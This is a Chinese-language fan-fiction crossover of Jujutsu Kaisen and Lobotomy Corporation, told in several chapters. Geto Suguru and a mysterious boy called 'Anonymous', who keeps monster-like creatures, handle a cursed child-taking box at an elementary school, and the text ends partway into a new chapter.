《异想体也可以是心灵之蛋》
1. 子取箱
所谓子取箱,便是取八岁以下婴孩身体部位,混合大量雌兽鲜血所制成的阴毒之物。
至于用途……则是专门针对于育龄妇女以及孩童,只要靠近便会招遇不幸。
唯一一件值得庆幸的是,随着时间推进,越来越多的子取箱已经失去了效力……除了那唯一一个被人带走,完全不知所踪的“八开”。
*
夏油杰送走了来找自己商谈入学事宜的夜蛾正道,还没等进入自家的院门,就看到了邻居家的三田太太正一脸担心的问自己:
“杰君,你看没看到我家小静。”
三田静,今年七岁,刚上小学二年级,夏油杰记得那是一个十分有礼貌的小姑娘。
“三田太太,这个时间,小静已经放学了吗?”
现在刚刚中午,小学生按理来说,应该还在学校才对啊。
“今天她们学校要检修,所以提前放学了,按理说应该已经回来了才对……”
她说着,一边打算去三田静就读的小学看看。
“主要是,我最近听说,有和小静差不多大的孩子失踪了,所以……所以……”说到这里,三田太太像是被恐惧所笼罩了一般,她的脸上已经褪去了所有的血色。
而在夏油杰的视角里,则是另一副场景,随着三田太太的喃喃低语,他清晰的看到,在她的额头上,浮现出一个三角的记号来。
很显然,这不是普通的小孩子晚回家事件,而是……咒灵作祟。
“三田太太,我帮您去看看吧。”夏油杰看着那个颜色越来越深的三角印记说,他不知道疑似被标记的三田太太,要是在路上遇到了那个咒灵该怎么办。
还是他自己去比较好,先联系夜蛾老师,让他来看看吧。
在得到了夜蛾正道的答复后,夏油杰马上朝着三田静就读的小学跑去。
小学离他们家很近,近到不到十分钟的时间,他就看到了校门口,只不过是被紫黑色的罩子笼罩的校门口。
嘀嘀声从他的口袋里传来,是他的手机响了,夏油杰掏出来一看,是陌生号码。
“夏油同学,我是附近的辅助监督,”对面的女性语气中带着严肃,“这里已经咒术师处理了,请你不要靠近这里,以免被波及到。”
“我邻居家的孩子可能还在里面。”夏油杰回到。
“夏油君,我们已经通知学校放假,并让老师疏散学生了,你确定那孩子还在学校吗?”
长发束在脑后的中年女性安静地叹了口气,就算这里面真的有那孩子,估计也是凶多吉少了,毕竟……这次来处理咒灵的可是身为御三家之一的禅院家啊。
他们可不会因为有人质就停手,更何况……这里面真的会有活口吗?
这可是流传了近两百年的准一级假想咒灵,子取箱啊。
该死的,偏偏出现在小学,就是不知道这次会有多少孩子被波及到。
“所以,夏油君,你先……”女性辅助监督的话噎在了嘴里,因为通讯被单方面切断了。
那孩子进到帐去了。
因为身为女性,所以被禅院家那位娇纵的少爷撵走的辅助监督终于痛苦的扶着额角,这下该怎么办?
*
夏油杰虽然有点对不起那个好心提醒他的辅助监督女士,但是他得去找小静,要是不在里面的话更好,但是只要有一丝可能,他就不能放过。
结果小静没看到,他倒是在这个十分昏暗的村落里撞到了一个和自己年龄差不多的少年。
对,村落,他在踏进这个名为“帐”的存在后,就出现在了这里。
难不成这就是那位辅助监督口中所说的处理事件的咒术师?
少年也在打量着他,与穿着休闲装的夏油杰不同,少年的穿着更为正式,他穿着一身黑色的西服,看上去马上就可以去哪里参加宴会一般。
X打量着这个突然冒出来的大高个,他看上去年纪很轻,而且看衣服也不是“原住民”。
“你是?”夏油杰问。
“你可以称呼我为……安诺恩。”X思考一下,决定报出自己的常用名,毕竟直接说X,真的不像是正经名字。
夏油杰看着这个比自己矮了不少,看不出具体人种的少年,他很白,但是又不是白人那种毫无血色的白,但是说他是东亚人,他的名字又完全不像。
混血吗?夏油杰想。
安诺恩?未知吗?他怎么不说自己其实叫X呢?真是奇怪的名字。
X想,这个人的刘海好怪,为什么要单独拿出来一缕?中二病吗?
已经中二毕业的X很宽容,大家都是从那个时候过来的嘛!
夏油杰被那对金色的眼睛看得浑身难受,这是什么目光?他们两个是同龄没错吧?他怎么感觉自己在他的目光中像一个不懂事的孩子?
莫名尴尬的夏油杰问:“你也是来学校找人的吗?”
“算是吧,我家孩子跑到这里面来了,你也是来找人的吗?”
黑色短发的少年,话语有些语焉不详,什么叫做算是来找人?
夏油杰心里的疑惑越来越深,不过他没有表现出来:“我邻居家的孩子不见了,是个八九岁的小姑娘。”
金眼睛的少年像是在回忆什么,摇了摇头:“如果是带着一个红色蝴蝶结的那孩子……她已经死了。”
夏油杰闻言,心里梗了一下,小静可以说是他看着长大的孩子,不过,他怎么记得小静的蝴蝶结是白色的?
怀着一丝侥幸,他问:“你在哪里看到的?”
村落里寂静无声,一高一矮的两个少年来到了一个房间内,那里一具小小的,被血液完全浸透的身体安安静静的倒伏在榻榻米上。
夏油杰把小小的孩子翻过来,瞳孔猛然收缩。
只一眼,夏油杰就认出来了,这是小静,红色的蝴蝶结也是因为浸染了血液的缘故,她死了。
“她是怎么……死的?”夏油杰语气低沉,他看到了一个小小的三角印记,在和三田太太一样的位置。
金眼睛的少年摇摇头,示意他也不知道:“我路过这里的
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时候,她就已经死掉了。”
“你要带上她吗?”X说着,脱下了自己的外套。
夏油杰只穿了一身单薄的衣服,他想要行动自如的话,就不能带上已经死去的三田静。
“谢谢。”面色沉郁的少年接过了这个临时同行者递过来的长外套,将死去的孩子包裹进去。
只不过,他并没如X预想的那样,将女孩带走,只是用衣服将她盖住。
“走吧,等事情结束之后,我再带她回去。”
况且……三田太太也被盯上了。
“还没问你,你也是咒术高专的学生吗?”两人一边向外走,夏油杰一边问。
“不,我只是来找人。”金眼睛的少年看上去就像是进来拿个东西一样轻巧,就像完全没有看到刚刚死去的孩子那般。
“你不是咒术师?!”夏油杰向日葵猛转头,你这么平静,你告诉我你不是辅助监督说的那个咒术师?!
“我不是啊。”X被夏油杰突然拔高的声音吓了一跳,他和咒术师不是一个体系的……
要实在给他安一个职业的话,他算是宝O梦大师,咒术师是什么?他不熟。
夏油杰看着安诺恩拿出了一个指南针一样的小东西,在原地转圈,直到指针咔哒一声响,不动了,他才目标明确的向指针所指的方向走去。
夏油杰也不知道自己出于什么目的,可能是对普通人的担忧,又或者是对于未知的好奇,总之他下意识的跟在这个金眼睛的黑发少年的身后。
他们走着走着,前方就嘈杂了起来,像是有很多人聚集在那里一样。
“直哉少爷,请当心,祂朝您那里去了!”
混乱中,粗犷的男声格外明显。
而被他称呼为直哉少爷的和服少年则是以极快的速度躲开了一条棕黄色的条状物体。
那东西伸缩速度极快,一击不中,几乎是眨眼间就卷住了一个原本呆在和服少年附近的青年缩了回去。
随后便是刺耳的咯吱咯吱,那个青年似乎被嚼碎了。
“这和辅助监督的情报不一样!”一个中年人像是崩溃了一样喊到。
“这根本就不是子取箱!我可不知道子取箱会吃人!”
可是他的话还没完全说出口,那个脐带一样的东西就径直卷向了他。
本来是跟着出十拿九稳任务的禅院直哉皱起了眉,刚刚死去的男人说的没错,子取箱可不会吃人,这个咒灵根本不是子取箱。
可是死了一路的小孩又证明,这里的确有子取箱存在……
那么……这里其实有两个咒灵嘛?
正想着,那个怪东西的动作却突然停住了,随机是像是泥巴被践踏的奇怪水声。
“那东西要逃走!”
在场的咒术师都意识到这一点,他们可不是禅院直哉,没有他的术式,要是那个咒灵再次发动袭击,他们可不会保证死的不是自己。
不能让祂逃走!
这是在场除了禅院直哉以外的所有术士共同的想法,得阻止祂!
2. 子取箱
X的表情不太美妙,自家小孩逃家之后在外面乱吃东西,这件事落到谁身上都高兴不起来。
嗯,“食物”估计也高兴不起来。
“食物”自己的意见估计是问不了了,至少食物的同伴们明显不高兴。
不高兴的下场就是那帮穿着和服的人对着乱吃东西的小孩使用了各种奇奇怪怪的特效。
特效打在“孩子”身上没有产生任何效果,可是“孩子”明显感到了委屈,那个像泥做的“孩子”瘪了瘪“嘴”。
哦豁,完蛋。
夏油杰看着原本和自己一样站在一旁观望的少年突然窜到了咒灵身边,只留他徒劳地伸出一只试图挽留的手。
他的力气好大,夏油杰看着自己被挣脱后,微微发红的手掌,有些怔愣。
还说他不是咒术师?!难不成他其实是大猩猩吗?!
X不知道有一个神奇刘海因为自己身上所穿的,外置“力量增幅器”对自己产生了一些不切实际的误解。
黑发少年已经将自己的手伸出去,即将按在“孩子”那张横跨整个身体的“嘴”以及正常的那颗头的嘴上。
那只略显苍白的手与怪物仍旧沾染着红色碎末,齿间还挂着些黑色布片的“嘴”格格不入。
夏油杰正在指挥着自己的咒灵,准备把刚刚与自己同行,如今却像是被咒灵迷惑心智的小伙伴捞回来。
却发现安诺恩的手明显是想把咒灵的“嘴”给按住。
他想干什么?
这是在场所有咒术师的想法。
他们在看到黑发少年冲出来的时候,下意识停住了自己的攻击。
可是刚刚吃掉了他们更多同伴的咒灵却完全没有把这个一看就比他们要好吃的少年卷进口中。
甚至没有去咬那只手,当然,少年意图把祂的嘴合上这一举动也没有得逞。
上面的嘴被捂住了看不清楚,可是下面的嘴却缓缓张开。
随即,属于婴儿的尖利哭声无条件攻击着在场的所有人。
只不过其中一道声音有些闷,X今天也是刚弄明白怪婴是怎么哭的,他为了保险打算一起捏住两张嘴。
可,万万没想到,这个孩子居然是上下一起哭。
他还算可以,对自己的这些“小精灵”有着天然的免疫力,可是在场的其他人就倒霉了。
禅院直哉感觉自己的头像是被大卡车狠狠压了过去,一时间头痛欲裂耳鸣不止,耳边甚至有谁在说着什么,可是他听不清楚。
名义上本次禅院家的咒术师们是由禅院直哉带队,可实际上真正带队的人是一直跟在队尾,沉默寡言的禅院信。
就算是在所有人都被音波攻击的时候,他还在记挂自家的少爷,他已经知道了这次的咒灵不好应付,搞不好他们都得折在这里。
可是他受过家族的恩惠,至少……至少得把直哉少爷送出去!
高大的中年男人忍受着耳边刺耳的哭声,艰难的向着正低着头不知道状况的禅院直哉靠近。
“直哉少爷?您还好吗?”禅院信提高了嗓音。
没有回应,禅院直哉整个人开始瑟瑟发抖,像是被吓狠了。
不对劲,很不对劲,就算是在这种情况,禅院直哉也不应该表现得像一个新手一样。
叮——
伴随着清脆的声音,一只白色的蝴蝶在低垂着头的禅院直哉身上炸开。
禅院信猛地抬头看去,冷汗唰的一下就下来了,这里居然还有一只咒灵!
那是一个大致具有人类形态的咒灵,最为明显的就是祂的头颅,本该是头颅的地方被重叠的蝴蝶翅膀所占据。
那些洁白的翅膀叠在一起,发出互相摩擦的窸窣声,让人听了不自觉浑身发麻。
祂穿着黑色的礼服,两只手正托举着祂背在背后的棺材,而剩下的三只手则在对着周围无条件的“扫射”。
被蝴蝶咒灵指到的位置,一片叮叮声,成群的蝴蝶在不断炸开。
可是随着蝴蝶在自己同伴的身上绽放,禅院信惊讶的发现,那些人的脸色好了许多,就好像那个咒灵是来帮助他们的一样。
咒灵使吗?
禅院信的第一反应就是这个,毕竟只有咒灵使才可以役使咒灵。
说到咒灵使,他倒是听家主大人谈起过,说是这届东京高专有一个咒灵操术的拥有者要入学来着……难不成就是他?
正想着,禅院信肩膀突然一紧,有什么东西抓住了他。
难不成这里还有另外的咒灵吗?!
咒灵完全没有伤害他的意思,只是单纯的把他微微拉起,随后飞快的向外扯去。
另外一个高个子的少年正捂着额头,面色不善的看着他,他的脚边还叠着好几个禅院家的人,看样子他们都是被他扯过去的。
这才是咒灵操术的拥有者,那那边那个是谁?
吧唧一声,禅院直哉也被两只飞行系咒灵甩在了他的身边,那边只剩下了那两只疑似特级咒灵的家伙,以及……那个身份不明的少年。
“喂,我说你,你认识那边的那个人吗?”不知为何,自从来到这里便开始有些昏沉的禅院信强撑着问。
抱着一只身体上长着眼睛的绵羊咒灵的少年眯了眯他本就不大的眼睛,语气不明的说:“……”
可是禅院信已经听不到了,他的眼皮沉沉的阖到了一起,他睡着了。
不仅是他,这一堆禅院都睡着了。
“这算什么?睡眠系咒灵?”
夏油杰看着一地横七竖八呼呼大睡的咒术师,没错,他知道这些人是咒术师,毕竟之前的那些特效他也看到了。
他捏了捏手里睡的正香的绵羊,准备去那边混乱不堪,充满精神污染,特指有一个小孩咒灵正在张嘴哇哇大哭的地方看看。
结果,还没等他抵达噪声源头,令人心烦的哭声却消失了,取而代之的是游戏厅里的那种大转盘抽奖机的声音。
再这样古朴“幽静”的村子中,出现大转盘显然是不合理的,夏油杰加快了脚步,就看到了从天空之上又下了一束光线,正在地面来回移动着,像是在挑选幸运儿。
十六
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岁的少年生平第一次感受到了脊背发凉的感觉,这是刻在每个生物基因最深沉的感受,是生命被威胁到的第一反应。
光线在距离他不原的地方停下了,那是一个破旧的仓库一样的建筑,只剩下几块木板的门上还挂着一把已经被锈迹侵蚀的锁。
咔嚓,锁自动掉在了地上。
随后是粘稠液体的嘀嗒声,夏油杰闻到了极重的血腥味。
一团猩红色的凝胶一样的物质缓慢从蔓延出来的血液中爬行着,其中隐约可以见到细小的指骨,以及隐约的脏器。
X也看到了这一小团,他的第一反应是……他家里那团,粉色的,被他扣在杯子里的史莱姆跑出来了。
等那一小团再离近一些,祂的身上泛起了一层层的涟漪,就好像是在恐惧着。
让禅院众人无比熟悉的那条“脐带”飞快地伸出,将这团物体卷进了面露期待的“孩子”口中。
X刚想把已经暂时满足口欲的孩子收走,却发现孩子脸上的表情有些微妙。
正在嚼嚼嚼的怪婴一扫刚刚脸上的满足,像是被人随手捏出来的五官皱成一团。
半晌,呸的一声,那团看起来十分柔软的“史莱姆”就被祂吐了出来。
但好在,依照他们之间的约定,孩子已经通过“转盘”得到了食物,祂就不能再闹了,怪婴乖乖的变成了一枚原型的卵状物。
“居然还有精灵球吗?”
夏油杰用“你才是真正的宝O梦大师”的表情看着正在把蛋塞进口袋里的金眼睛少年。
可宝O梦大师却摇了摇头:“是守护O心。”
突然被童年的记忆攻击的夏油杰:算了,你开心就好。
“那么,那边的那位蝴蝶先生也是从……心灵之蛋里孵出来的?”
夏油杰也没想到自己居然可以接上童年的梗,他从善如流的更改了自己的话语。
窸窣声再次传来,像是那位蝴蝶先生正在回应夏油杰。
看着彬彬有礼的蝴蝶先生,夏油杰酸了,他也想要这种漂亮咒灵,和祂一比,他手里的宝O梦都是歪瓜裂枣。
歪瓜裂枣大师看着那只漂亮蝴蝶用自己三只手中的一只去戳那一团正试图逃走的“史莱姆”。
“那也是安诺恩君的咒灵吗?”
总觉得画风有些不对啊……
“不,那不是你的吗?”X反问。
“这不是……”夏油杰突然反应过来,哪里有些不对。
已知,这里其实是学校来着,那这个村子又是哪来的?那个吃人的小孩都已经被收起来了,那为什么村子还在?
显然,X也想到了这一茬,两个人一起去看被亡蝶葬仪戳着的那一小团。
“这个是原住民吧?”X问。
“我也是这样想的,而且我刚刚看到祂是从仓库里出来的。”夏油杰答。
穿着礼服的蝴蝶先生用三只手对着他们比了一个OK的手势,表示自己会看住这一团。
三只手真是方便啊,夏油杰边想着,一边带着X来到了那个破旧的仓库。
3. 子取箱·完
仓库里面的灰尘很多,可是比灰尘更明显的是仓库内的腥气。
鲜红色与暗红色层层叠叠的覆盖在地面上,透过月光显出略微泛白的水痕。
X感受着鞋底传来的阻力,低头看去,半凝不凝的暗色液体展现出极佳的黏性。
“祂出场一直都有这么多血吗?”踩着黏糊糊地面,再一次感觉到自家史莱姆更可爱一些的X问夏油杰。
起码自家的草莓味史莱姆是那种更清爽的触感,像一大团大果冻,而且没有这种黏糊糊的衍生物。
要是和祂一样……想到自己家经常在地板上滚来滚去,还会随机刷新在沙发上的史莱姆,X再次庆幸自己家的那个不会留下这种黏糊糊的印子。
再次被血腥气呛到的夏油杰看着径直向深处走去的黑发少年,有些奇怪。
这个人,安诺恩他……感觉比起正常人对血液的恐惧或者不适,表现出来的更多是对脏东西的嫌弃?
就算他真的是咒术师,那也过于奇怪了。
更何况这位甚至拒绝了咒术师的称号,转而像是中二病附身一样,将自己的能力归于自己曾经看过的动漫。
一个准咒术师大为震撼。
虽然他自己也没好到哪里,某个以宝O梦大师自居的准高中生这样想。
“刚刚那个咒灵出来的时候,就带着……”夏油杰指了指地面上的血,耸了耸肩。
而另一边,X已经走到了一个装饰华丽,血腥味极重的古董漆画箱子面前。
夏油杰紧跟其后,他没有对箱子华贵的外表发表什么意见,而是紧紧盯着在层叠花纹中的一个小小的三角符号。
那是与三田太太身上一模一样的印记,果然……杀死小静并盯上三田太太的咒灵其实是祂。
正想着,夏油杰就眼睁睁看着某个金眼睛的家伙,咔哒一下打开了箱子。
嗯,这个人还不知道从哪里弄来了一双手套,此刻那双白色不明材质的手套已经被箱子中不端涌出的鲜血染红。
这一幕就算是放在屏幕中都有些掉san值,可是黑发少年的脸色却一如往常,戴着手套的双手正在箱子里摸索着。
月光很亮,夏油杰看着安诺恩从箱子里拿出了一个小小的白色物体和一小段猩红色的条状物。
“这是幼儿的近节指骨和脐带。”那个在溢满血液的箱子中翻找着的人说。
突然感觉自己被踹出了灵异频道,被塞进了实验室的夏油杰:这对吗?
“哦,这里还有肠子,真是恶趣味。”
X把自己从箱子里拿到的“固体”一一在箱盖上摆开,来自婴儿的脐带与指骨,幼儿的指骨和肠子,以及儿童的指骨。
夏油杰查了查,安诺恩明显是按照年龄分了堆,大大小小的骨头与内脏被分成了八份。
八个吗……
看着这些东西,夏油杰却突然想到了什么,他拦住了拎着那个箱子就要出去的X。
“安诺恩君,我听过一个故事。”
闻言,打算把这个血糊糊的果冻打包带走,回去给自己家的史莱姆玩的X看了过去。
想必那只爱意过剩的“草莓果冻”很乐意接手这个被人为制造而成的可怜家伙的。
“什么故事?”
“你听过子取箱吗?”
……
通过夏油杰的叙述,结合自己刚刚的发现,X给这个箱子果冻扣上了子取箱的标签,这样也省得他去想名字了。
“不过……你说这个对女性也有伤害吗?”
X边拎着箱子,边和夏油杰说话。
可这时,他却看到了自己家的漂亮蝴蝶已经躺在了棺材里。
被亡蝶葬仪所看守的子取箱已经失去了踪迹。
“对,祂除了对孩子有伤害以外还对育龄女性……”
夏油杰也看到了缓缓滑入棺中的某只蝴蝶。
谁会背着一个随时给自己收尸的棺材啊!
两个人都没有再说话,本就安静的村庄更是陷入死一般的寂静。
半晌,夏油杰打破了沉默:“那位蝴蝶先生还好吗?”
毕竟他看上去可是死得透透的了。
拎着箱子的少年还是那副表情,没有对当前场景的吐槽,也没有对自己“心灵之蛋”逝去的悲伤。
他只是静静的,静静的坐到了蝴蝶先生的棺材盖上,并示意夏油杰噤声。
等再度安静下来后,“果冻”在草叶上移动的声音极为明显。
就在距离他们身侧的那棵树下,看样子是刚刚出其不意地袭击了蝴蝶先生后,飞快地逃走了。
黑发少年的手中不知何时出现了一把黑白相间的镰刀,他就像打地鼠或者钓鱼一样,一镰刀就把正试图离开的子取箱扎了个对穿。
少年出手的速度极快,几乎是一瞬间那个试图离开的果冻就被他甩在了棺材盖子上。
夏油杰眼睁睁看着少年将手一松,他手中的镰刀便整个消失不见。
嗯,他除了宝O梦大师还有点像哆啦O梦。
在那一瞬间,夏油杰的耳边传来了属于婴儿的尖叫声,不由得恍惚了一瞬。
等回过神来的时候,他就看到了金眸少年已经把子取箱塞回了箱子里。
伴随着箱子的闭合声,周围的环境也像随之淡去,露出了原本的小学校园……以及几具小小的,再也不会醒来的尸体。
就连刚刚被X坐着的那口棺材也消失不见,取而代之的是一个上面绘着白色蝴蝶花纹,通体黑色的蛋。
*
“是吗?子取箱消失了啊……”
前不久狠狠摔了一跤的青年额头上缠着厚重的绷带,接过了辅助监督递交的任务报告。
“是的,三田大人,还有,您女儿的事情……请您节哀。”
负责本次事件的两位辅助监督再次深深的向着这位痛失爱女的上级鞠了一躬。
三田先生与他们一样,都是只拥有“看见”能力的人,但是那位大人的才华却被高层赏识,得以留在总部,不像他们仅仅是边缘人物。
也是因为这个,他很少回家,想必今晚他必须回去安慰自己的妻子了。
“真是可怜啊,三田先生。”男性辅助监督说。
“是啊……不过,我们还是先担心一下自己吧。”女性辅助监督哭丧着脸,“你想好怎么向禅院家交代了吗?”
男性辅助监督的脸也垮了下去,是啊,他有什么资格去同情三田先
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生呢?他搞不好会被愤怒的禅院家片成片!
禅院家的怒火已经延伸到了那个来找人的准高专生身上,但好在三田先生替他挡下了。
夏油君毕竟还是为了他的女儿才进去的,虽然什么都没有改变就是了。
两个辅助监督背影萧瑟的踏上了前往禅院家的道路。
那边,夏油杰还没组织好怎么告诉那位可怜的女性,她的女儿已经去世这件事。
就见三田太太面带悲戚的向他鞠躬,感谢他代自己去冒险,她已经知道了自己女儿的离去。
随后,三田太太就带上了一只小小的箱子,上了据说是她丈夫派来接她的车。
夏油杰望着空荡荡的邻居家,正打算打开自家的门,余光却瞥见了那枚本该消失了的三角依旧烙在三田太太身上。
车子越驶越远,三田纯子一方面期待着与久未逢面的丈夫相聚,一方面又难过于女儿的离开。
不知是不是她的错觉,她总觉得自己手里的箱子,被她刚刚从地下室保险柜中拿出来的箱子正散发着令人作呕的腥气。
她刚打算仔细查看一下,这件丈夫委托自己保管的宝物,却突然感受到腹中剧痛,就像是有一只手在死死的拧着自己的内脏一样。
温婉的女性咳出一大口鲜血:“快送我去医院!”
她对司机喊到,这时从身体内部涌出的血液已经堵住了她的喉咙,可是司机却像是什么都没有听见那样,只是机械的开车,对三田纯子口中满溢的鲜血视而不见。
直到行驶出了城区,漆黑的车子才停在了路边,双目无光的司机动作僵硬的拉开了后车门,夺走了已经失去生息的三田纯子怀中的小小箱子。
“真是的,八开就这么让另外一个人拿走了,这么真是……没用啊。”
司机的口中发出的却是三田先生的声音:“只剩下了一个七封……”
他喃喃着,将车子与死去的女性抛在身后,抱着仅剩的“七封”朝着密林中走去。
……
X接到了夏油杰的电话,分别之前,他给这个疑似宝O梦大师的家伙留下了联系方式。
“子取箱?祂在我这里过得很好。”
X原本正在看着两只粉红色系的果冻在互相纠缠,特指大的那个在围着新来的转圈。
子取箱原本还冒了个头出箱子,被这个与自己类似,但是绝对不是咒灵的家伙一看,整个咒灵都不好了。
溶解之爱保持着近似人类女性的姿态,伸出Q弹的手去戳了一下箱子里的红色同类。
“那个孩子的母亲?”
像是被提到了关键词,原本瑟缩的子取箱突然伸长,两节原本缩在身体中的指骨像蜗牛一样伸向X的方向。
X瞥了一眼毫不掩饰自己偷听欲望的子取箱,接着听夏油杰说话。
“我会留意的。”
X挂断了电话,一把就把那两只“蜗牛眼柄”握在手中,顺势将子取箱整个从祂的“蜗牛壳”里拔了出来。
溶解之爱十分配合的用祂的“手”举起了箱子,跟在X的身后,和他一起去了地下室。
那个广阔的空间放置着祂的同类,以及……在这些年被X捡回来的各种奇怪的物品。
4. 空虚之梦
三田太太自从那天离开后,就再也没有任何消息。
夏油杰很快便迎来了高专的开学日。
穿着定制校服的少年特意理了理自己的刘海,拉开了教室的门。
该说毫不意外嘛,教室中没有那道熟悉的身影,偌大的教室里面,仅有一男一女两个同学在教室两侧坐着。
五条悟原本还在咔嚓咔嚓的吃着零食,眼见一个长着羊角的奇怪刘海拉开了门,还做出来环视一周的动作像是在找人。
他的第一反应就是,这是什么奇怪的搭配,他以为这里是游戏吗?
第二反应就是,那个角……有点不对。
五条悟把那个可以将他完美伪装成盲人的小圆眼镜拿了下来,用那双苍蓝色的眼睛仔细打量着这个新同学。
夏油杰感受着那双美丽的眼睛在自己身上扫视着,下意识以为自己是不是衣服扣子扣错了。
“你没发现你那个奇怪刘海的边上有一对更奇怪的角吗?”
夏油杰额角鼓起青筋,他的耳朵只接收到了奇怪刘海!
不对!
“什么角?”
夏油杰说着,伸手去摸,那个白毛看起来也不是在忽悠人,可是他今天照镜子还没有发现……真的有啊!
扎着丸子头的少年不可置信的摸着那对坚硬的盘角,哪来的啊!
“果然嘛……在老子点破之前,你完全感知不到这个东西,有趣。”
白毛同学说着,还凑近伸手试图薅一薅他头上那对突兀出现的角,看看能不能薅下来。
“这个东西不是咒术师或者咒灵干的。”六眼的拥有者如是说道。
夏油杰听着自己同学笃定的话语,又联想到了某个坚称自己不是咒术师的某个人,反问道:
“你怎么知道这不是咒灵的产物?”
五条悟几乎要把眼睛怼到角上:“这不是完全没有咒力嘛!”
哗啦一声,门被面色不佳的中年男性拉开。
夜蛾正道看着这两个堵在门口的男高中生:“你们不进去,堵在这里干什么?”
而后他转向了夏油杰:“夏油,总监部需要调查一些事情,需要你去谈话。”
夏油一脸懵的指了指自己:“我吗?”
“就是你。”
夜蛾看着被总监部叫走的学生背影,回到教室打算仔细看看五条家的那位大少爷,却发现教室内只剩下了一个试图点烟的女同学。
“家入,五条呢?”
“他在你刚进说总监部的时候就翻窗出去了。”短发的女学生指了指大开的窗户。
夜蛾缓缓打出一个问号,他是听说过五条家的神子和总监部不太对付,居然是光是听到就会跑路的程度吗?
*
夏油杰刚回答完总监部下派过来的辅助监督,得知了三田家无一生还的噩耗,以及……那群被绵羊催眠的咒术师至今还未醒这个诡异事实。
现在总监部最着急的就是,让夏油杰,立刻!马上!去把人弄醒,最起码禅院直哉必须得醒!
刚出会客室,夏油杰就看到了本该呆在教室的白毛同学叼着一根棒棒糖,一副听墙角的样子。
“五条同学,你这是?”
“我们去拜访你说的那个人吧!”五条悟的眼睛亮到墨镜都要遮盖不住了。
“我也不知道他住哪里啊。”夏油杰只有那一串短短的联系方式。
不过他的确得联系他,毕竟那边还有十多个人晕着呢。
出乎夏油杰的意料,接电话的是一位年轻女性。
“这里是Lobo……,不,安吉罗斯家,请问您要找谁?”
某位“家政人员”手里拿着话筒,在看到对面几乎要跳起来示意的同事后,紧急改口。
夏油杰还以为是自己打错了:“对不起,是我这边打错了。”说完他就要挂断。
“啊!请不要挂断,您是来找主管……不对,安诺恩大人的对吧!”
毕竟只有拥有资格的人,才会真正的拨通这栋宅邸的通讯。
感受着眼睛里几乎要喷火的同事的夺命视线,可怜弱小又无助的接线员小姐本就不算高大的身躯被她自己缩得更小了几分。
“请您稍等。”对面的女性轻声细语,一副标准的管家姿态。
五条听着话筒里面,刻板的,几乎算是伴随自己成长的温柔话语,刚刚的兴奋顿时像被泼了一盆冷水。
又是古板的家族吗?他想,嗯,安吉罗斯,这是什么宗教狂热分子之家吗?
短暂的模糊交流声过后,传来的是夏油杰熟悉的声音:“夏油君?”
这回对了,在面对刚刚的那位小姐的时候,夏油杰突兀地有些拘谨,但是安诺恩的话,就一切正常了。
“他们还没醒?”
X的手里还拿着半片木板,他刚从工作间里面出来。
把这片木板处理好之后,子取箱就可以正常活动,不会对小孩和育龄女性产生任何的负面影响了。
冷不丁听到昏睡的禅院一行人,X都要把他们忘光了。
他没叫醒他们吗?
就好像知道X在想什么一样,十分应景地,一只空虚之梦缓慢地从X面前飘过,被X揪住了祂短短的尾巴。
这只沉眠于梦中的“羊”被X牵在手里。
祂像一个漏了气的氦气球一样,逐渐降低自己的漂浮高度,直到感受到自己尾巴上传来的拉力,才再度上浮。
X看着祂身上一粉一绿的眼睛,仔细回忆了一下,他好像真忘了把人叫醒了。
其实叫醒的方式很简单,只要他把人晃醒就行了,只不过有一点不能改变,那就是,这个把人叫醒的只能是他。
*
禅院直哉感觉自己做了一场漫长的,充满着幸福,不愿让人醒来的美梦。
可惜,梦终究是梦,空虚也不会变成现实。
换句话说,就是他的美梦被别人打破了。
那个他拥有了一切,甚尔不再无视他的美梦……
恍惚间,他看到了一双冰冷的金色眼睛。
再然后,啪的一声,他被人打了……他居然被人打了!
这个人不仅打破了自己的美梦,甚至还敢打自己?!
禅院家的大少爷怒不可遏,他要让这个家伙付出应有的代价!
结果在禅院直哉猛地跳起来,试图和那个讨厌的家伙一决高下的时候,他看到了什么?
禅院家主,他的
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父亲,几个家族内部的医生,还有——为什么悟君也在这里?!
他们围观他睡觉干什么?!
禅院直哉望着这一屋子的人,脑袋里一时间一片空白,就连刚刚的美梦都无暇去想了。
他现在想的就是,完了,丢脸丢到五条家了!
禅院直毘人看看自己痛苦面具的儿子,又看看那边刚刚给了自己儿子一巴掌,现在仍旧一脸冷漠的黑发少年,捻了捻胡子,没有说话。
“那么,剩下人在哪里?”X问。
速战速决,他还有事情呢,只要再给他几个小时,子取箱就可以变成一个人畜无害的大果冻了。
禅院直哉看着这个完全无视他的人,更气了,最关键的是,他不认识他……他认识吗?
好像有点眼熟……睡的就差忘记自己是谁,突然变成单线程的禅院直哉坐在被褥间思考着,全然忘记了刚刚自己未遂的找茬行动。
“请随我来。”收到家主示意的禅院家的侍女连忙示意X他们跟自己走。
在接连把那群人挨个晃醒后,X终于解决了这件被自己遗忘的事情。
好了,现在他可以回去接着分解他的木板了。
可这时,一直止言又欲,欲言又止的夏油杰拦住了他:“安诺恩君,你知道这个角是什么情况吗?”
夏油杰可以感受到那对金色眼睛中的视线集中在自己的头上。
“祂喜欢你,所以送给你了。”
夏油杰看着“大方”的黑发少年,感觉他们两个的脑回没对上。
“可是这个角有些显眼。”他已经被好几个人当成玩Cosplay的了。
X还是第一次被人提这样的要求,不如说,他还是第一次见到自己的小精灵把这些乱七八糟的饰品送给外人。
对,外人,他们家其实只有他和安吉拉两个人,其余的人都是被安吉拉招聘进来的。
就是不知道为什么,他们一个两个的看到他总是被吓得一哆嗦,看到他的小精灵又被吓一哆嗦。
但是他们被赠予饰品后,与夏油杰的反应截然不同,他们都像是习惯了一样。
之前他还看到过两个人互相帮忙调整饰品的佩戴位置。
夏油杰见到了安诺恩的脸上露出了真切的惊讶,就像是遇到了说不通的事情。
高中生不由怀疑,是不是他自己提出了什么不可理喻的要求。
五条悟一直安静的跟在二人身后,隔着那副完全不透光的眼镜,他的视线的落点在短发的少年身上。
他实际上与那个怪刘海头上的那对角是一样的,不是说那对角是出自这个安诺恩之手,而是……他们本质上是一致的。
这是六眼解析不了的存在,不是单纯冰冷的机械,也不是人类,更不包含咒力。
这个黑发金眼的人,与他们的世界格格不入,像是一个纯粹的外来者。
“你能让他头上的角消失吗?”五条悟问。
X像是终于理通了一般:“我可以让人看不见祂。”
话音刚落那对显眼的角就消失了,这次,连五条悟都无法观测到。
可是……
“安诺恩君,”夏油杰的声音中带着无力,“我还能摸到。”
5. 六眼
“克洛伊前辈……”像鬼一样的声音从克洛伊身后传来。
此时被呼唤的克洛伊正在使用一柄可以和自己握手的长柄雨伞,试图把即将飘到天花板的空虚之梦勾下来。
